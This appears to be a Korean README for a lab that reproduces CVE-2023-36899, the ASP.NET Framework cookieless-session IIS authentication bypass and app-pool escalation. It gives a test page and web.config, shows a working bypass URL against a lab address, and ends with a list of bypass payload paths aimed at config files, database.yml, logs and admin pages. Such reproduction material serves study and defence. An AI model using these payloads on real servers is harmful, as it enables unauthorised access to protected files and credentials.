
CVE-2023-36899 취약점의 재현 환경 및 도구로, ASP.NET 프레임워크의 쿠키 없는 세션 인증 우회를 대상으로 합니다.
CVE-2023-36899 취약점의 재현 환경 및 도구로, ASP.NET Framework의 쿠키리스(cookieless) 세션 인증 우회를 대상으로 합니다.
Cookieless DuoDrop: ASP.NET Framework의 IIS 인증 우회 및 앱 풀 권한 상승 (CVE-2023-36899)
현대 웹 개발에서 쿠키는 세션 ID를 전송하는 가장 선호되는 방법이지만, .NET Framework는 URL에 세션 ID를 직접 인코딩하는 대체 방법도 제공합니다. 이 기술은 .NET Framework의 "쿠키리스(cookieless)" 기능으로 알려져 있습니다. 많은 개발자와 보안 테스터는 실제 애플리케이션에서 드물게 사용되므로 이 옵션을 간과합니다. 그러나 이것은 세션 고정, 세션 하이재킹, HTML 삽입, 크로스 사이트 스크립팅과 같은 클라이언트 측 취약점을 발견할 수 있는 보물창고가 되었습니다. 또한 이 기능은 쿠키리스 방식을 인식하도록 구성되지 않은 경로 기반 방화벽 규칙을 우회하는 데 악용될 수 있습니다. 본질적인 보안 문제로 인해 .NET Core 및 이후 .NET 버전에서는 쿠키리스 기능이 생략되었습니다. 그러나 여전히 클래식 .NET Framework를 사용하는 수많은 웹 애플리케이션이 있다는 점을 잊지 말아야 합니다.
핵심 사항:
.NET Framework의 쿠키리스 기능은 보호된 디렉터리 또는 IIS URL 필터에 의해 차단된 디렉터리에 접근하는 데 악용될 수 있습니다. 예를 들어, victim.com 웹사이트에서 다음 상황을 고려해 보세요:
일반적으로 이러한 URL을 통한 페이지 접근은 IIS에서 차단됩니다:
그러나 쿠키리스 기능을 활용하면 다음 패턴을 통해 이러한 페이지에 접근할 수 있습니다:
IIS가 애플리케이션 풀을 관리하는 방식은 권한 상승 또는 보안 우회로 이어질 수 있습니다. .NET Framework의 쿠키리스 기능을 조작하여 IIS 애플리케이션이 자체 애플리케이션 풀 대신 상위 애플리케이션 풀을 사용하여 실행되도록 강제할 수 있습니다. 예를 들어:
AppPoolPrint.aspx라는 C# 파일은 위의 모든 애플리케이션에서 접근할 수 있으며 현재 애플리케이션 풀 이름을 표시합니다. 쿠키리스 기능을 두 번 사용하면 상위 애플리케이션 풀로 이 페이지를 실행할 수 있습니다:
이를 통해 /classic/nodotnet/의 페이지(관리 코드를 실행하지 않아야 하는)에서도 상위 애플리케이션 풀로 ASPX 페이지를 실행할 수 있습니다. 이러한 동작은 IIS에서 권한 상승으로 이어질 수 있습니다.
IIS 설치 시 다음 항목을 선택합니다.
target.aspx 파일 테스트 내용:
<%@ Page Language="C#" %>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ASPX Test</title>
</head>
<body>
This is a static text. <br>
Dynamic text: <%= DateTime.Now.ToString() %>
</body>
</html>
루트 디렉터리의 web.config 파일 테스트 내용:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<compilation debug="true" targetFramework="4.5" />
<httpRuntime targetFramework="4.5" />
<sessionState mode="InProc" cookieless="UseCookies" />
</system.web>
</configuration>
여기서 는 웹사이트가 일부 기본 세션 정보 등을 저장하는 데 쿠키를 사용한다는 의미이며, 기본값도 이와 같습니다.

http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target1.aspx 를 사용하여 성공적으로 접근

존재할 수 있는 payload 목록:
/config/(S(X))/a/(S(X))pp/settings.xml
/config/(S(X))/settings.xml
/config/(S(X))/database.yml
/admin/(S(X))/config.xml
/a/(S(X))ppled/resource
/dashboard/(S(X))/data.json
/logs/(S(X))/error.log
/api/v1/(S(X))/config.json
/admin/s/(S(X))ettings/config.xml
/manage/s/(S(X))cripts/script.js
/dashboard/d/(S(X))ata/data.json
/config/dat/(S(X))abase/database.yml
....
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899 https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/ https://nvd.nist.gov/vuln/detail/CVE-2023-36899 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36899